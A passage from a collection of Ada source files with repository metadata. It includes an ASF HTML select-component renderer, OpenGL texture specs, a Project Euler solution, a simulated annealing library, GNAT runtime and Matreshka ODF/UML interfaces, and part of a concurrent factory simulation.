EL.Objects.Object := Forms.UIInput (UI).Convert_Value (Value, Context); begin case EL.Objects.Get_Type (Result) is when EL.Objects.TYPE_BOOLEAN => return Result; when EL.Objects.TYPE_INTEGER => return EL.Objects.To_Object (EL.Objects.To_Boolean (Result)); when others => if Value = "on" then return EL.Objects.To_Object (True); else return EL.Objects.To_Object (False); end if; end case; end Convert_Value; -- ------------------------------ -- Iterator over the Select_Item elements -- ------------------------------ -- ------------------------------ -- Get an iterator to scan the component children. -- ------------------------------ procedure First (UI : in UISelectOne'Class; Context : in Faces_Context'Class; Iterator : out Cursor) is begin Iterator.Component := UI.First; Iterator.Pos := 0; Iterator.Last := 0; while ASF.Components.Base.Has_Element (Iterator.Component) loop Iterator.Current := ASF.Components.Base.Element (Iterator.Component); if Iterator.Current.all in UISelectItem'Class then return; end if; if Iterator.Current.all in UISelectItems'Class then Iterator.List := UISelectItems'Class (Iterator.Current.all) .Get_Select_Item_List (Context); Iterator.Last := Iterator.List.Length; Iterator.Pos := 1; if Iterator.Last > 0 then return; end if; end if; ASF.Components.Base.Next (Iterator.Component); end loop; Iterator.Pos := 0; Iterator.Current := null; end First; -- ------------------------------ -- Returns True if the iterator points to a valid child. -- ------------------------------ function Has_Element (Pos : in Cursor) return Boolean is use type ASF.Components.Base.UIComponent_Access; begin if Pos.Pos > 0 and then Pos.Pos <= Pos.Last then return True; else return Pos.Current /= null; end if; end Has_Element; -- ------------------------------ -- Get the child component pointed to by the iterator. -- ------------------------------ function Element (Pos : in Cursor; Context : in Faces_Context'Class) return ASF.Models.Selects.Select_Item is begin if Pos.Pos > 0 and then Pos.Pos <= Pos.Last then return Pos.List.Get_Select_Item (Pos.Pos); else return UISelectItem'Class (Pos.Current.all).Get_Select_Item (Context); end if; end Element; -- ------------------------------ -- Move to the next child. -- ------------------------------ procedure Next (Pos : in out Cursor; Context : in Faces_Context'Class) is begin if Pos.Pos > 0 and then Pos.Pos < Pos.Last then Pos.Pos := Pos.Pos + 1; else Pos.Pos := 0; loop Pos.Current := null; ASF.Components.Base.Next (Pos.Component); exit when not ASF.Components.Base.Has_Element (Pos.Component); Pos.Current := ASF.Components.Base.Element (Pos.Component); exit when Pos.Current.all in UISelectItem'Class; if Pos.Current.all in UISelectItems'Class then Pos.List := UISelectItems'Class (Pos.Current.all).Get_Select_Item_List (Context); Pos.Last := Pos.List.Length; Pos.Pos := 1; exit when Pos.Last > 0; Pos.Pos := 0; end if; end loop; end if; end Next; -- ------------------------------ -- Get the <b>Select_Item</b> represented by the component. -- ------------------------------ function Get_Select_Item (From : in UISelectItem; Context : in Faces_Context'Class) return ASF.Models.Selects.Select_Item is use Util.Beans.Objects; Val : constant Object := From.Get_Attribute (Name => VALUE_NAME, Context => Context); begin if not Is_Null (Val) then return ASF.Models.Selects.To_Select_Item (Val); end if; declare Label : constant Object := From.Get_Attribute (Name => ITEM_LABEL_NAME, Context => Context); Value : constant Object := From.Get_Attribute (Name => ITEM_VALUE_NAME, Context => Context); Description : constant Object := From.Get_Attribute (Name => ITEM_DESCRIPTION_NAME, Context => Context); Disabled : constant Boolean := From.Get_Attribute (Name => ITEM_DISABLED_NAME, Context => Context); begin if Is_Null (Label) then return ASF.Models.Selects.Create_Select_Item (Value, Value, Description, Disabled); else return ASF.Models.Selects.Create_Select_Item (Label, Value, Description, Disabled); end if; end; end Get_Select_Item; -- ------------------------------ -- UISelectItems Component -- ------------------------------ -- ------------------------------ -- Get the <b>Select_Item</b> represented by the component. -- ------------------------------ function Get_Select_Item_List (From : in UISelectItems; Context : in Faces_Context'Class) return ASF.Models.Selects.Select_Item_List is use Util.Beans.Objects; Value : constant Object := From.Get_Attribute (Name => VALUE_NAME, Context => Context); begin return ASF.Models.Selects.To_Select_Item_List (Value); end Get_Select_Item_List; -- ------------------------------ -- SelectOne Component -- ------------------------------ -- ------------------------------ -- Render the <b>select</b> element. -- ------------------------------ overriding procedure Encode_Begin (UI : in UISelectOne; Context : in out Faces_Context'Class) is begin if UI.Is_Rendered (Context) then UISelectOne'Class (UI).Render_Select (Context); end if; end Encode_Begin; -- ------------------------------ -- Renders the <b>select</b> element. This is called by <b>Encode_Begin</b> if -- the component is rendered. -- ------------------------------ procedure Render_Select (UI : in UISelectOne; Context : in out Faces_Context'Class) is Writer : constant Response_Writer_Access := Context.Get_Response_Writer; Value : constant EL.Objects.Object := UISelectOne'Class (UI).Get_Value; begin Writer.Start_Element ("select"); Writer.Write_Attribute (Name => "name", Value => UI.Get_Client_Id); UI.Render_Attributes (Context, SELECT_ATTRIBUTE_NAMES, Writer); UISelectOne'Class (UI).Render_Options (Value, Context); Writer.End_Element ("select"); end Render_Select; -- ------------------------------ -- Renders the <b>option</b> element. This is called by <b>Render_Select</b> to -- generate the component options. -- ------------------------------ procedure Render_Options (UI : in UISelectOne; Value : in Util.Beans.Objects.Object; Context : in out Faces_Context'Class) is Writer : constant Response_Writer_Access := Context.Get_Response_Writer; Selected : constant Wide_Wide_String := Util.Beans.Objects.To_Wide_Wide_String (Value); Iter : Cursor; begin UI.First (Context, Iter); while Has_Element (Iter) loop declare Item : constant ASF.Models.Selects.Select_Item := Element (Iter, Context); Item_Value : constant Wide_Wide_String := Item.Get_Value; begin Writer.Start_Element ("option"); Writer.Write_Wide_Attribute ("value", Item_Value); if Item_Value = Selected then Writer.Write_Attribute ("selected", "selected"); end if; if Item.Is_Escaped then Writer.Write_Wide_Text (Item.Get_Label); else Writer.Write_Wide_Text (Item.Get_Label); end if; Writer.End_Element ("option"); Next (Iter, Context); end; end loop; end Render_Options; -- ------------------------------ -- Returns True if the radio options must be rendered vertically. -- ------------------------------ function Is_Vertical (UI : in UISelectOneRadio; Context : in Faces_Context'Class) return Boolean is Dir : constant String := UI.Get_Attribute (Context => Context, Name => "layout", Default => ""); begin return Dir = "pageDirection"; end Is_Vertical; -- ------------------------------ -- Renders the <b>select</b> element. This is called by <b>Encode_Begin</b> if -- the component is rendered. -- ------------------------------ overriding procedure Render_Select (UI : in UISelectOneRadio; Context : in out Faces_Context'Class) is Writer : constant Response_Writer_Access := Context.Get_Response_Writer; Value : constant EL.Objects.Object := UISelectOne'Class (UI).Get_Value; Vertical : constant Boolean := UI.Is_Vertical (Context); Selected : constant Wide_Wide_String := Util.Beans.Objects.To_Wide_Wide_String (Value); Iter : Cursor; Id : constant String := To_String (UI.Get_Client_Id); N : Natural := 0; Disabled_Class : constant EL.Objects.Object := UI.Get_Attribute (Context => Context, Name => "disabledClass"); Enabled_Class : constant EL.Objects.Object := UI.Get_Attribute (Context => Context, Name => "enabledClass"); begin Writer.Start_Element ("table"); UI.Render_Attributes (Context, Writer); if not Vertical then Writer.Start_Element ("tr"); end if; UI.First (Context, Iter); while Has_Element (Iter) loop declare Item : constant ASF.Models.Selects.Select_Item := Element (Iter, Context); Item_Value : constant Wide_Wide_String := Item.Get_Value; begin if Vertical then Writer.Start_Element ("tr"); end if; Writer.Start_Element ("td"); -- Render the input radio checkbox. Writer.Start_Element ("input"); Writer.Write_Attribute ("type", "radio"); Writer.Write_Attribute ("name", Id); if Item.Is_Disabled then Writer.Write_Attribute ("disabled", "disabled"); end if; Writer.Write_Attribute ("id", Id & "_" & Util.Strings.Image (N)); Writer.Write_Wide_Attribute ("value", Item_Value); if Item_Value = Selected then Writer.Write_Attribute ("checked", "checked"); end if; Writer.End_Element ("input"); -- Render the label associated with the checkbox. Writer.Start_Element ("label"); if Item.Is_Disabled then if not Util.Beans.Objects.Is_Null (Disabled_Class) then Writer.Write_Attribute ("class", Disabled_Class); end if; else if not Util.Beans.Objects.Is_Null (Enabled_Class) then Writer.Write_Attribute ("class", Enabled_Class); end if; end if; Writer.Write_Attribute ("for", Id & "_" & Util.Strings.Image (N)); if Item.Is_Escaped then Writer.Write_Wide_Text (Item.Get_Label); else Writer.Write_Wide_Text (Item.Get_Label); end if; Writer.End_Element ("label"); Writer.End_Element ("td"); if Vertical then Writer.End_Element ("tr"); end if; Next (Iter, Context); N := N + 1; end; end loop; if not Vertical then Writer.End_Element ("tr"); end if; Writer.End_Element ("table"); end Render_Select; begin ASF.Utils.Set_Text_Attributes (SELECT_ATTRIBUTE_NAMES); ASF.Utils.Set_Interactive_Attributes (SELECT_ATTRIBUTE_NAMES); end ASF.Components.Html.Selects;
BrickBot/Bound-T-H8-300
Ada
2,418
adb
-- Loops.Slim.Opt (body) -- -- Author: Niklas Holsti, Tidorum Ltd -- -- A component of the Bound-T Worst-Case Execution Time Tool. -- ------------------------------------------------------------------------------- -- Copyright (c) 1999 .. 2015 Tidorum Ltd -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- 1. Redistributions of source code must retain the above copyright notice, this -- list of conditions and the following disclaimer. -- 2. Redistributions in binary form must reproduce the above copyright notice, -- this list of conditions and the following disclaimer in the documentation -- and/or other materials provided with the distribution. -- -- This software is provided by the copyright holders and contributors "as is" and -- any express or implied warranties, including, but not limited to, the implied -- warranties of merchantability and fitness for a particular purpose are -- disclaimed. In no event shall the copyright owner or contributors be liable for -- any direct, indirect, incidental, special, exemplary, or consequential damages -- (including, but not limited to, procurement of substitute goods or services; -- loss of use, data, or profits; or business interruption) however caused and -- on any theory of liability, whether in contract, strict liability, or tort -- (including negligence or otherwise) arising in any way out of the use of this -- software, even if advised of the possibility of such damage. -- -- Other modules (files) of this software composition should contain their -- own copyright statements, which may have different copyright and usage -- conditions. The above conditions apply to this file. ------------------------------------------------------------------------------- -- -- $Revision: 1.2 $ -- $Date: 2015/10/24 20:05:49 $ -- -- $Log: loops-slim-opt.adb,v $ -- Revision 1.2 2015/10/24 20:05:49 niklas -- Moved to free licence. -- -- Revision 1.1 2011-08-31 04:17:13 niklas -- Added for BT-CH-0222: Option registry. Option -dump. External help files. -- with Options.Groups; package body Loops.Slim.Opt is begin Options.Register ( Option => Trace_Summary_Opt'access, Name => Options.Trace_Item ("summary"), Groups => (Options.Groups.Loops, Options.Groups.Trace)); end Loops.Slim.Opt;
charlie5/lace
Ada
1,447
ads
package openGL.Texture.Coordinates -- -- Provides openGL texture co-ordinates. -- is ------ --- 2D -- type coordinate_Generator is abstract tagged null record; function to_Coordinates (Self : in coordinate_Generator; the_Vertices : access Sites) return Coordinates_2D is abstract; type xz_Generator is new coordinate_Generator with record Normalise : texture_Transform_2D; Tile : texture_Transform_2D; end record; overriding function to_Coordinates (Self : in xz_Generator; the_Vertices : access Sites) return Coordinates_2D; type xy_Generator is new coordinate_Generator with record Normalise : texture_Transform_2D; Tile : texture_Transform_2D; end record; overriding function to_Coordinates (Self : in xy_Generator; the_Vertices : access Sites) return Coordinates_2D; type zy_Generator is new coordinate_Generator with record Normalise : texture_Transform_2D; Tile : texture_Transform_2D; end record; overriding function to_Coordinates (Self : in zy_Generator; the_Vertices : access Sites) return Coordinates_2D; type mercator_Generator is new coordinate_Generator with null record; overriding function to_Coordinates (Self : in mercator_Generator; the_Vertices : access Sites) return Coordinates_2D; end openGL.Texture.Coordinates;
melwyncarlo/ProjectEuler
Ada
2,110
adb
with Ada.Text_IO; with Ada.Integer_Text_IO; -- Copyright 2021 Melwyn Francis Carlo procedure A050 is use Ada.Text_IO; use Ada.Integer_Text_IO; -- File Reference: http://www.naturalnumbers.org/primes.html FT : File_Type; Last_Index : Natural; Prime_Num : String (1 .. 10); File_Name : constant String := "problems/003/PrimeNumbers_Upto_1000000"; Primes_Nums : array (Integer range 1 .. 80_000) of Integer; N : Integer := 1; I_Start : Integer := 0; Resultant_Prime : Integer := 0; Count_Val : Integer := 23; Prime_Found : Boolean := False; I, I_By_10, Sum : Integer; begin Open (FT, In_File, File_Name); while not End_Of_File (FT) loop Get_Line (FT, Prime_Num, Last_Index); if Integer'Value (Prime_Num (1 .. Last_Index)) > 1_000_000 then exit; end if; if I_Start = 0 then if Integer'Value (Prime_Num (1 .. Last_Index)) > 1_00_000 then I_Start := N - 1; end if; end if; Primes_Nums (N) := Integer'Value (Prime_Num (1 .. Last_Index)); N := N + 1; end loop; Close (FT); while Count_Val < 1_000 loop I := I_Start; Prime_Found := False; while I < N loop I_By_10 := Integer (Float'Floor (Float (I) / 10.0)); for J in 1 .. I_By_10 loop Sum := 0; for K in J .. (J + Count_Val - 1) loop Sum := Sum + Primes_Nums (K); end loop; if Sum > Primes_Nums (I) then exit; end if; if Sum = Primes_Nums (I) then Resultant_Prime := Primes_Nums (I); Prime_Found := True; Count_Val := Count_Val + 1; exit; end if; end loop; if Prime_Found then exit; end if; I := I + 1; end loop; Count_Val := Count_Val + 1; end loop; Put (Resultant_Prime, Width => 0); end A050;
fmqa/simulatedannealing-ada
Ada
2,457
ads
-- @summary -- Simulated annealing metaheuristic library. -- -- @description -- This package provides routines for the minimization of black-box -- functions using simulated annealing. package Simulated_Annealing is -- Annealing scheduler. type Scheduler is private; function Exponential (N : Positive; T0 : Float) return Scheduler; -- Create a new exponential (geometric) annealing scheduler. -- @param N The number of cooling steps. -- @param T0 The starting temperature. -- @return The geometric annealing scheduler. procedure Step (S : in out Scheduler); -- Perform a cool-down step. -- @param S The annealing scheduler. function Temperature (S : in Scheduler) return Float; -- Return the current temperature. -- @param S The annealing scheduler. -- @return The annealing schedule's current temperature. -- @summary -- Simulated annealing minimizer. -- -- @description -- Provides an implementation of a simulated annealing -- minimization algorithm. generic -- State type. type State is private; -- State energy function. with function Energy (S : in State) return Float; -- State perturbation function. with function Perturb (S : in out State) return State; package Optimization is -- Minimization progress record. type Minimization is private; function Minimize (S0 : in State) return Minimization; -- Create a new minimizer. -- @param S0 The initial state. -- @return The minimization progress record. function Step (M : in out Minimization; S : in out Scheduler; Improved : out Boolean) return Boolean; -- Perform a minimization iteration. -- @param M The minimization progress record. -- @param S The annealing scheduler to use. -- @param Improved True if a new local minimum was found, false otherwise. -- @return True if the annealing process is unfinished, false otherwise. function Minimum (M : in Minimization) return State; -- Return the best minimum found so far. -- @param M The minimization progress record. -- @return The best-so-far minimum state found. private type Minimization is record S_I : State; S_Min : State; end record; end Optimization; private type Scheduler is record T0 : Float; Decay : Float; I : Natural; end record; end Simulated_Annealing;
zhmu/ananas
Ada
3,759
ads
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- S Y S T E M . T R A C E B A C K _ E N T R I E S -- -- -- -- S p e c -- -- -- -- Copyright (C) 2003-2022, Free Software Foundation, Inc. -- -- -- -- This specification is derived from the Ada Reference Manual for use with -- -- GNAT. The copyright notice above, and the license provisions that follow -- -- apply solely to the contents of the part following the private keyword. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This package offers an abstraction of what is stored in traceback arrays -- for call-chain computation purposes. By default, as defined in this -- version of the package, an entry is a mere code location representing the -- address of a call instruction part of the call-chain. package System.Traceback_Entries is pragma Preelaborate; subtype Traceback_Entry is System.Address; -- This subtype defines what each traceback array entry contains Null_TB_Entry : constant Traceback_Entry := System.Null_Address; -- This is the value to be used when initializing an entry type Tracebacks_Array is array (Positive range <>) of Traceback_Entry; function PC_For (TB_Entry : Traceback_Entry) return System.Address; pragma Inline (PC_For); -- Returns the address of the call instruction associated with the -- provided entry. function TB_Entry_For (PC : System.Address) return Traceback_Entry; pragma Inline (TB_Entry_For); -- Returns an entry representing a frame for a call instruction at PC end System.Traceback_Entries;
reznikmm/matreshka
Ada
3,764
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with XML.DOM.Attributes; package ODF.DOM.Table_Display_Member_Mode_Attributes is pragma Preelaborate; type ODF_Table_Display_Member_Mode_Attribute is limited interface and XML.DOM.Attributes.DOM_Attribute; type ODF_Table_Display_Member_Mode_Attribute_Access is access all ODF_Table_Display_Member_Mode_Attribute'Class with Storage_Size => 0; end ODF.DOM.Table_Display_Member_Mode_Attributes;
reznikmm/matreshka
Ada
5,390
ads
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Ada Modeling Framework -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2011-2012, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ -- This file is generated, don't edit it. ------------------------------------------------------------------------------ -- An abstraction is a relationship that relates two elements or sets of -- elements that represent the same concept at different levels of -- abstraction or from different viewpoints. ------------------------------------------------------------------------------ with AMF.UML.Dependencies; limited with AMF.UML.Opaque_Expressions; package AMF.UML.Abstractions is pragma Preelaborate; type UML_Abstraction is limited interface and AMF.UML.Dependencies.UML_Dependency; type UML_Abstraction_Access is access all UML_Abstraction'Class; for UML_Abstraction_Access'Storage_Size use 0; not overriding function Get_Mapping (Self : not null access constant UML_Abstraction) return AMF.UML.Opaque_Expressions.UML_Opaque_Expression_Access is abstract; -- Getter of Abstraction::mapping. -- -- An composition of an Expression that states the abstraction -- relationship between the supplier and the client. In some cases, such -- as Derivation, it is usually formal and unidirectional; in other cases, -- such as Trace, it is usually informal and bidirectional. The mapping -- expression is optional and may be omitted if the precise relationship -- between the elements is not specified. not overriding procedure Set_Mapping (Self : not null access UML_Abstraction; To : AMF.UML.Opaque_Expressions.UML_Opaque_Expression_Access) is abstract; -- Setter of Abstraction::mapping. -- -- An composition of an Expression that states the abstraction -- relationship between the supplier and the client. In some cases, such -- as Derivation, it is usually formal and unidirectional; in other cases, -- such as Trace, it is usually informal and bidirectional. The mapping -- expression is optional and may be omitted if the precise relationship -- between the elements is not specified. end AMF.UML.Abstractions;
reznikmm/matreshka
Ada
4,589
adb
------------------------------------------------------------------------------ -- -- -- Matreshka Project -- -- -- -- Open Document Toolkit -- -- -- -- Runtime Library Component -- -- -- ------------------------------------------------------------------------------ -- -- -- Copyright © 2014, Vadim Godunko <[email protected]> -- -- All rights reserved. -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions -- -- are met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in the -- -- documentation and/or other materials provided with the distribution. -- -- -- -- * Neither the name of the Vadim Godunko, IE nor the names of its -- -- contributors may be used to endorse or promote products derived from -- -- this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED -- -- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR -- -- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -- -- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING -- -- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -- -- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- $Revision$ $Date$ ------------------------------------------------------------------------------ with Matreshka.DOM_Documents; with Matreshka.ODF_String_Constants; with ODF.DOM.Iterators; with ODF.DOM.Visitors; package body Matreshka.ODF_Fo.Margin_Top_Attributes is ------------ -- Create -- ------------ overriding function Create (Parameters : not null access Matreshka.DOM_Attributes.Attribute_L2_Parameters) return Fo_Margin_Top_Attribute_Node is begin return Self : Fo_Margin_Top_Attribute_Node do Matreshka.ODF_Fo.Constructors.Initialize (Self'Unchecked_Access, Parameters.Document, Matreshka.ODF_String_Constants.Fo_Prefix); end return; end Create; -------------------- -- Get_Local_Name -- -------------------- overriding function Get_Local_Name (Self : not null access constant Fo_Margin_Top_Attribute_Node) return League.Strings.Universal_String is pragma Unreferenced (Self); begin return Matreshka.ODF_String_Constants.Margin_Top_Attribute; end Get_Local_Name; begin Matreshka.DOM_Documents.Register_Attribute (Matreshka.ODF_String_Constants.Fo_URI, Matreshka.ODF_String_Constants.Margin_Top_Attribute, Fo_Margin_Top_Attribute_Node'Tag); end Matreshka.ODF_Fo.Margin_Top_Attributes;
marlonjames/learn
Ada
94
adb
with Ada.Text_IO; use Ada.Text_IO; procedure Test is begin Put_Line ("ABC123") end Test;
KamilKrol5/concurrent-programming
Ada
11,191
adb
with Ada.Text_IO; with Ada.Numerics.Float_Random; with Ada.Numerics.Float_Random; with Ada.Numerics.Discrete_Random; with Ada.Command_Line; with Ada.Exceptions; use Ada.Exceptions; package body objects is package IO renames Ada.Text_IO; package FRand renames Ada.Numerics.Float_Random; machinesServiceSet : MachinesServiceSetArray; task body machine is operator : operatorT; state: Integer; package FRand renames Ada.Numerics.Float_Random; Gen : FRand.Generator; t : Float; isBrokenRandom: Boolean; begin accept Create (op : in operatorT; initState : in Integer) do operator := op; state := initState; end Create; loop select accept DelegateTask (tsk : in out taskk) do if (tsk.operator /= operator) then IO.Put_Line("ERROR! An attempt to perfrom operation which is different from machine operation type."); else if (state = WORKING) then delay duration(machine_sleep); t := doTask(tsk); inform("MACHINE: Result sent."); isBrokenRandom := FRand.Random(Gen) < BREAK_PROBABILITY; if (isBrokenRandom) then state := BROKEN; inform("MACHINE BROKEN!"); end if; end if; end if; end DelegateTask; or accept fix do state := WORKING; IO.Put_Line("MACHINE: I am fixed!"); end fix; or accept getStatus(stat : out Integer) do stat := state; end getStatus; end select; end loop; end machine; task body employee is package R is new Ada.Numerics.Discrete_Random(MachinesListRange); Gen2 : R.Generator; taskToDo : taskk; newProduct : product; thisEmployeeRecordIndex : Integer; chosenMachineIndex : MachinesListRange; taskIsDone: Boolean := False; begin accept Start (index : in Integer) do thisEmployeeRecordIndex := index; end Start; loop R.Reset(Gen2); tasks.Remove(taskToDo); if employeeRecords(thisEmployeeRecordIndex).isPatient then taskIsDone := False; while not taskIsDone loop chosenMachineIndex := R.Random(Gen2); inform("EMPLOYEE (PATIENT): Waiting for machine."); machinesSet(taskToDo.operator)(chosenMachineIndex).DelegateTask(taskToDo); if taskToDo.result = null then inform("PATIENT EMPLOYEE: I got an empty result. Machine must be broken."); servicee.reportBrokenMachine(report'(taskToDo.operator, chosenMachineIndex)); else inform("PATIENT EMPLOYEE: I got a result."); taskIsDone := true; end if; end loop; newProduct := (value => taskToDo.result.all); else taskIsDone := False; while not taskIsDone loop loop chosenMachineIndex := R.Random(Gen2); inform("EMPLOYEE (IMPATIENT): Waiting for machine."); select machinesSet(taskToDo.operator)(chosenMachineIndex).DelegateTask(taskToDo); exit; or delay Duration(IMPATIENT_WAIT); inform("EMPLOYEE (IMPATIENT): I'll try another machine."); end select; end loop; if taskToDo.result = null then inform("IMPATIENT EMPLOYEE: I got an empty result. Machine must be broken."); servicee.reportBrokenMachine(report'(taskToDo.operator, chosenMachineIndex)); inform("IMPATIENT EMPLOYEE: I reported a broken machine."); else inform("IMPATIENT EMPLOYEE: I got a result."); taskIsDone := true; end if; end loop; newProduct := (value => taskToDo.result.all); end if; storage.Insert(newProduct); employeeRecords(thisEmployeeRecordIndex).numberOfTaskDone.Increment; inform("EMPLOYEE: I've done my task! Result is:" & Float'Image(newProduct.value)); delay duration(employee_sleep); end loop; end employee; task body serviceMan is rep2 : report; mId: ServiceMenListRange; begin loop accept goAndFixMachine(rep : in report; myIndex : ServiceMenListRange) do machinesServiceSet(rep.machineType)(rep.machineIndex).hasManAssigned := True; inform("SERVICE MAN " & Integer'Image(serviceMen(myIndex).id) & " was sent to fix a machine" ); delay duration(SERVICE_MAN_SLEEP); inform("SERVICE MAN " & Integer'Image(serviceMen(myIndex).id) & ": is fixing a machine" ); machinesSet(rep.machineType)(rep.machineIndex).fix; rep2 := rep; mId := myIndex; end goAndFixMachine; servicee.fixReportEntry(fixReport'(rep2.machineType, rep2.machineIndex, mId)); end loop; end serviceMan; task body service is tmpMan: serviceManRecord; tmpStat : Integer; begin loop select accept reportBrokenMachine(rep : in report) do if not machinesServiceSet(rep.machineType)(rep.machineIndex).hasManAssigned then inform("SERVICE: I have received a report about broken machine"); machinesServiceSet(rep.machineType)(rep.machineIndex).status := BROKEN; end if; end reportBrokenMachine; or accept fixReportEntry(rep : in fixReport) do machinesServiceSet(rep.targetMachineType)(rep.tatgetMachineIndex).hasManAssigned := False; machinesServiceSet(rep.targetMachineType)(rep.tatgetMachineIndex).status := WORKING; serviceMen(rep.whoFixedIndex).isFree := True; end fixReportEntry; end select; for op in machinesServiceSet'Range loop for m in machinesServiceSet(op)'Range loop machinesSet(op)(m).getStatus(tmpStat); if tmpStat = BROKEN then inform("SERVICE: I will try to find free service man"); loop1: for manIndex in serviceMen'Range loop tmpMan := serviceMen(manIndex); if tmpMan.isFree then inform("SERVICE: free service man has been found and will be sent to a broken machine"); serviceMen(manIndex).isFree := False; serviceMenTasks(ServiceMenTaskListRange(manIndex)).goAndFixMachine(report'(op, m), manIndex); exit loop1; end if; end loop loop1; end if; end loop; end loop; end loop; exception when Error: others => Ada.Text_IO.Put ("Unexpected exception: "); Ada.Text_IO.Put_Line (Exception_Information(Error)); end 